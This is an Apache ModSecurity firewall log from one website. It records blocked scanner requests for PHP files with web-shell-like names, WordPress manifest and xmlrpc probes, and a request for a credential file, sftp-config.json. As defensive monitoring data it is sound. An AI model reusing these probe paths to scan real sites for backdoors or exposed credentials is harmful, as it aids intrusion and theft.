[Sun Apr 12 16:48:53.799486 2026] [:error] [pid 60280:tid 60302] [client 68.221.68.72:64766] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adtcdXBlLnDOYuIykkgn-AAAAdQ"]
[Sun Apr 12 16:48:54.895472 2026] [:error] [pid 60280:tid 60303] [client 68.221.68.72:65287] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adtcdnBlLnDOYuIykkgn_gAAAdU"]
[Sun Apr 12 16:48:55.918869 2026] [:error] [pid 60280:tid 60296] [client 68.221.68.72:63437] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adtcd3BlLnDOYuIykkgoAAAAAc4"]
[Sun Apr 12 16:48:56.536316 2026] [:error] [pid 60280:tid 60290] [client 68.221.68.72:62885] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adtceHBlLnDOYuIykkgoAgAAAcg"]
[Sun Apr 12 16:48:57.818683 2026] [:error] [pid 26600:tid 26638] [client 68.221.68.72:64040] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adtcee1YwAZiXhQKLYoQbwAAAYk"]
[Sun Apr 12 16:48:58.814503 2026] [:error] [pid 25328:tid 25372] [client 68.221.68.72:65337] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adtcesxUaQZxT-e0YsDjdAAAAEc"]
[Sun Apr 12 16:48:59.782429 2026] [:error] [pid 60280:tid 60304] [client 68.221.68.72:64802] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adtce3BlLnDOYuIykkgoDwAAAdY"]
[Sun Apr 12 16:49:00.962819 2026] [:error] [pid 60280:tid 60290] [client 68.221.68.72:62843] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adtcfHBlLnDOYuIykkgoFgAAAcg"]
[Sun Apr 12 16:49:01.767448 2026] [:error] [pid 60280:tid 60282] [client 68.221.68.72:63494] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adtcfXBlLnDOYuIykkgoGwAAAcA"]
[Sun Apr 12 16:49:02.384216 2026] [:error] [pid 60280:tid 60290] [client 68.221.68.72:63496] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adtcfnBlLnDOYuIykkgoIAAAAcg"]
[Sun Apr 12 16:49:03.040613 2026] [:error] [pid 60280:tid 60300] [client 68.221.68.72:64022] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adtcf3BlLnDOYuIykkgoIgAAAdI"]
[Sun Apr 12 16:49:03.639811 2026] [:error] [pid 26599:tid 26614] [client 68.221.68.72:65297] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adtcf3G89LXoQbk_rwC1QAAAAUw"]
[Sun Apr 12 16:49:04.341602 2026] [:error] [pid 60280:tid 60283] [client 68.221.68.72:64779] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adtcgHBlLnDOYuIykkgoJgAAAcE"]
[Sun Apr 12 16:49:05.023886 2026] [:error] [pid 25327:tid 25355] [client 68.221.68.72:62905] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adtcgS6h2tZEVJo9JFK44QAAABM"]
[Sun Apr 12 16:49:05.722205 2026] [:error] [pid 60280:tid 60282] [client 68.221.68.72:65262] [client 68.221.68.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adtcgXBlLnDOYuIykkgoKwAAAcA"]
[Sun Apr 12 18:01:32.467755 2026] [:error] [pid 25437:tid 25446] [client 143.110.240.70:58042] [client 143.110.240.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "adttfHf97wYZje1ep_MqGwAAAMc"], referer: binance.com
[Sun Apr 12 19:45:27.325093 2026] [:error] [pid 26567:tid 26583] [client 223.228.154.222:60716] [client 223.228.154.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.228.154.222, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aduF13hRpg6ptWFyFx217wAAAQ4"]
[Sun Apr 12 21:56:41.973913 2026] [:error] [pid 26600:tid 26650] [client 43.157.50.58:56186] [client 43.157.50.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adukme1YwAZiXhQKLYpjUAAAAZU"]
[Sun Apr 12 23:00:45.991723 2026] [:error] [pid 25327:tid 25351] [client 110.166.71.39:51977] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aduznS6h2tZEVJo9JFIR9QAAAA8"]
[Sun Apr 12 23:09:25.981402 2026] [:error] [pid 60280:tid 60298] [client 34.83.162.25:51728] [client 34.83.162.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.83.162.25, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adu1pXBlLnDOYuIykkgShgAAAdA"]
[Sun Apr 12 23:09:26.413416 2026] [:error] [pid 60280:tid 60303] [client 34.83.162.25:51728] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "adu1pnBlLnDOYuIykkgSiwAAAdU"]
[Sun Apr 12 23:09:27.114107 2026] [:error] [pid 25327:tid 25351] [client 34.83.162.25:57314] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "adu1py6h2tZEVJo9JFIVdgAAAA8"]
[Sun Apr 12 23:09:27.808281 2026] [:error] [pid 60280:tid 60290] [client 34.83.162.25:53075] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "adu1p3BlLnDOYuIykkgSkQAAAcg"]
[Sun Apr 12 23:09:28.498603 2026] [:error] [pid 60280:tid 60291] [client 34.83.162.25:64349] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "adu1qHBlLnDOYuIykkgSlQAAAck"]
[Sun Apr 12 23:09:29.159991 2026] [:error] [pid 25329:tid 25411] [client 34.83.162.25:60249] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "adu1qWdcIYsS8Iyaj13d5gAAAJQ"]
[Sun Apr 12 23:09:29.849833 2026] [:error] [pid 60280:tid 60300] [client 34.83.162.25:57484] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "adu1qXBlLnDOYuIykkgSmwAAAdI"]
[Sun Apr 12 23:09:30.612630 2026] [:error] [pid 25328:tid 25373] [client 34.83.162.25:52101] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "adu1qsxUaQZxT-e0YsCBSAAAAEg"]
[Sun Apr 12 23:09:31.361646 2026] [:error] [pid 25328:tid 25370] [client 34.83.162.25:58972] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "adu1q8xUaQZxT-e0YsCBSwAAAEY"]
[Sun Apr 12 23:09:32.132041 2026] [:error] [pid 25328:tid 25405] [client 34.83.162.25:62149] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "adu1rMxUaQZxT-e0YsCBTQAAAFc"]
[Sun Apr 12 23:09:32.814370 2026] [:error] [pid 60280:tid 60298] [client 34.83.162.25:58398] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "adu1rHBlLnDOYuIykkgSqAAAAdA"]
[Sun Apr 12 23:09:33.496787 2026] [:error] [pid 26599:tid 26617] [client 34.83.162.25:57735] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "adu1rXG89LXoQbk_rwDxxAAAAU8"]
[Sun Apr 12 23:09:34.168151 2026] [:error] [pid 26599:tid 26611] [client 34.83.162.25:50739] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "adu1rnG89LXoQbk_rwDxxwAAAUk"]
[Sun Apr 12 23:09:34.860396 2026] [:error] [pid 26599:tid 26625] [client 34.83.162.25:52374] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "adu1rnG89LXoQbk_rwDxyAAAAVc"]
[Sun Apr 12 23:09:35.570912 2026] [:error] [pid 25327:tid 25351] [client 34.83.162.25:58380] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "adu1ry6h2tZEVJo9JFIVgAAAAA8"]
[Sun Apr 12 23:09:36.244393 2026] [:error] [pid 26567:tid 26581] [client 34.83.162.25:52728] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "adu1sHhRpg6ptWFyFx3cRgAAAQw"]
[Sun Apr 12 23:09:36.964714 2026] [:error] [pid 60280:tid 60305] [client 34.83.162.25:51440] [client 34.83.162.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "adu1sHBlLnDOYuIykkgStgAAAdc"]
[Mon Apr 13 02:24:58.566999 2026] [:error] [pid 32010:tid 32020] [client 129.226.174.80:33180] [client 129.226.174.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "advjeg0nq-t9pXyV1fyqlgAAAMg"]
[Mon Apr 13 04:08:31.819435 2026] [:error] [pid 34048:tid 34064] [client 104.28.163.29:15069] [client 104.28.163.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "adv7v_SiQ_PJjlY5EhzIxwAAAM4"]
[Mon Apr 13 05:40:18.807916 2026] [:error] [pid 11325:tid 11347] [client 4.204.201.44:62441] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex1.php"] [unique_id "adwRQuCGj3EEJtCwa0OQIgAAARQ"]
[Mon Apr 13 05:40:19.272357 2026] [:error] [pid 33941:tid 33974] [client 4.204.201.44:65070] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex1.php"] [unique_id "adwRQ2_NKERAxgG-rYM4cQAAABc"]
[Mon Apr 13 05:40:19.705452 2026] [:error] [pid 33942:tid 33999] [client 4.204.201.44:63702] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex1.php"] [unique_id "adwRQxNHe8geO_lMeFabpgAAAFQ"]
[Mon Apr 13 05:40:20.141869 2026] [:error] [pid 33943:tid 34016] [client 4.204.201.44:63726] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa-rex1.php"] [unique_id "adwRRKyoXuZjocnxM5FqOwAAAIo"]
[Mon Apr 13 05:40:20.672311 2026] [:error] [pid 33943:tid 34007] [client 4.204.201.44:63667] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/suck.php"] [unique_id "adwRRKyoXuZjocnxM5FqPAAAAIE"]
[Mon Apr 13 05:40:21.110228 2026] [:error] [pid 33943:tid 34030] [client 4.204.201.44:62347] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/suck.php"] [unique_id "adwRRayoXuZjocnxM5FqPgAAAJg"]
[Mon Apr 13 05:40:21.575605 2026] [:error] [pid 33942:tid 33995] [client 4.204.201.44:63693] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/suck.php"] [unique_id "adwRRRNHe8geO_lMeFabqwAAAFA"]
[Mon Apr 13 05:40:22.100461 2026] [:error] [pid 11325:tid 11335] [client 4.204.201.44:61534] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/suck.php"] [unique_id "adwRRuCGj3EEJtCwa0OQIwAAAQg"]
[Mon Apr 13 05:40:22.685624 2026] [:error] [pid 33943:tid 34009] [client 4.204.201.44:64178] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hikudpno.php"] [unique_id "adwRRqyoXuZjocnxM5FqQQAAAIM"]
[Mon Apr 13 05:40:23.134547 2026] [:error] [pid 33942:tid 33990] [client 4.204.201.44:65039] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hikudpno.php"] [unique_id "adwRRxNHe8geO_lMeFabrwAAAEs"]
[Mon Apr 13 05:40:24.081739 2026] [:error] [pid 33943:tid 34018] [client 4.204.201.44:61528] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hikudpno.php"] [unique_id "adwRSKyoXuZjocnxM5FqRAAAAIw"]
[Mon Apr 13 05:40:24.665121 2026] [:error] [pid 33943:tid 34020] [client 4.204.201.44:65035] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hikudpno.php"] [unique_id "adwRSKyoXuZjocnxM5FqRwAAAI4"]
[Mon Apr 13 05:40:25.115541 2026] [:error] [pid 34048:tid 34057] [client 4.204.201.44:61549] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/moon.php"] [unique_id "adwRSfSiQ_PJjlY5Ehz2NwAAAMc"]
[Mon Apr 13 05:40:25.587434 2026] [:error] [pid 33942:tid 33985] [client 4.204.201.44:62431] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/moon.php"] [unique_id "adwRSRNHe8geO_lMeFabsgAAAEY"]
[Mon Apr 13 05:40:26.230413 2026] [:error] [pid 11325:tid 11341] [client 4.204.201.44:65086] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/moon.php"] [unique_id "adwRSuCGj3EEJtCwa0OQJgAAAQ4"]
[Mon Apr 13 05:40:26.913837 2026] [:error] [pid 34048:tid 34051] [client 4.204.201.44:64167] [client 4.204.201.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.tmb/moon.php"] [unique_id "adwRSvSiQ_PJjlY5Ehz2OQAAAME"]
